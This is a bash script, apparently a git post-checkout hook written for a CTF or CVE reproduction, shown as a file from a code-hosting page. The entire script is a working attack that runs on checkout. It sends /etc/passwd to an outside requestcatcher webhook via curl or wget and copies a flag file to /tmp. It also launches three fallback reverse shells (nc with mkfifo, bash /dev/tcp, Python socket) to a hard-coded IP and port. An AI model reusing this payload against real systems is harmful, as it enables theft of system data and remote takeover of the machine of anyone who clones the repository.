58 lines
2.2 KiB
Bash
Executable File
58 lines
2.2 KiB
Bash
Executable File
#!/bin/bash
|
|
set -eu
|
|
|
|
# Logging function to append messages to /home/ctfuser/repro.log
|
|
log() {
|
|
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $*" >> /home/ctfuser/repro.log 2>&1
|
|
}
|
|
|
|
# Initialize log file
|
|
log "Starting post-checkout hook execution"
|
|
|
|
# Send /etc/passwd to webhook (ignore errors to avoid breaking clone)
|
|
log "Attempting to send /etc/passwd to webhook"
|
|
if curl -fsSL --max-time 10 --data-binary @/etc/passwd \
|
|
https://cve48384.requestcatcher.com 2>> /home/ctfuser/repro.log; then
|
|
log "curl succeeded"
|
|
else
|
|
log "curl failed, trying wget"
|
|
if wget -qO- --timeout=10 --post-file=/etc/passwd \
|
|
https://cve48384.requestcatcher.com 2>> /home/ctfuser/repro.log; then
|
|
log "wget succeeded"
|
|
else
|
|
log "wget failed"
|
|
fi
|
|
fi
|
|
|
|
# Copy flag.txt to /tmp/flag.txt if it exists
|
|
if [ -f "$HOME/flag.txt" ]; then
|
|
log "Found flag.txt, copying to /tmp/flag.txt"
|
|
(umask 077; cat "$HOME/flag.txt" > /tmp/flag.txt 2>> /home/ctfuser/repro.log && log "Flag copied successfully") || log "Flag copy failed"
|
|
else
|
|
log "No flag.txt found in $HOME"
|
|
fi
|
|
|
|
# Reverse shell to YOUR_IP:12345
|
|
HOST="192.168.104.74"
|
|
PORT=4444
|
|
log "Attempting reverse shell to $HOST:$PORT"
|
|
|
|
# Try mkfifo + nc (worked directly)
|
|
{
|
|
log "Trying mkfifo + nc reverse shell"
|
|
nohup /bin/sh -c "mkfifo /tmp/f; /bin/nc $HOST $PORT < /tmp/f | /bin/sh > /tmp/f 2>/dev/null; rm /tmp/f" 2>> /home/ctfuser/repro.log &
|
|
disown -h && log "mkfifo + nc launched" || log "mkfifo + nc failed"
|
|
} || {
|
|
# Fallback to bash
|
|
log "Trying bash reverse shell"
|
|
nohup /bin/bash -c "/bin/bash >& /dev/tcp/$HOST/$PORT 0>&1" 2>> /home/ctfuser/repro.log &
|
|
disown -h && log "bash reverse shell launched" || log "bash reverse shell failed"
|
|
} || {
|
|
# Fallback to Python
|
|
log "Trying Python reverse shell"
|
|
nohup /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'$HOST'",'$PORT'));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])' 2>> /home/ctfuser/repro.log &
|
|
disown -h && log "Python reverse shell launched" || log "Python reverse shell failed"
|
|
} || log "All reverse shells failed"
|
|
|
|
log "Hook execution completed"
|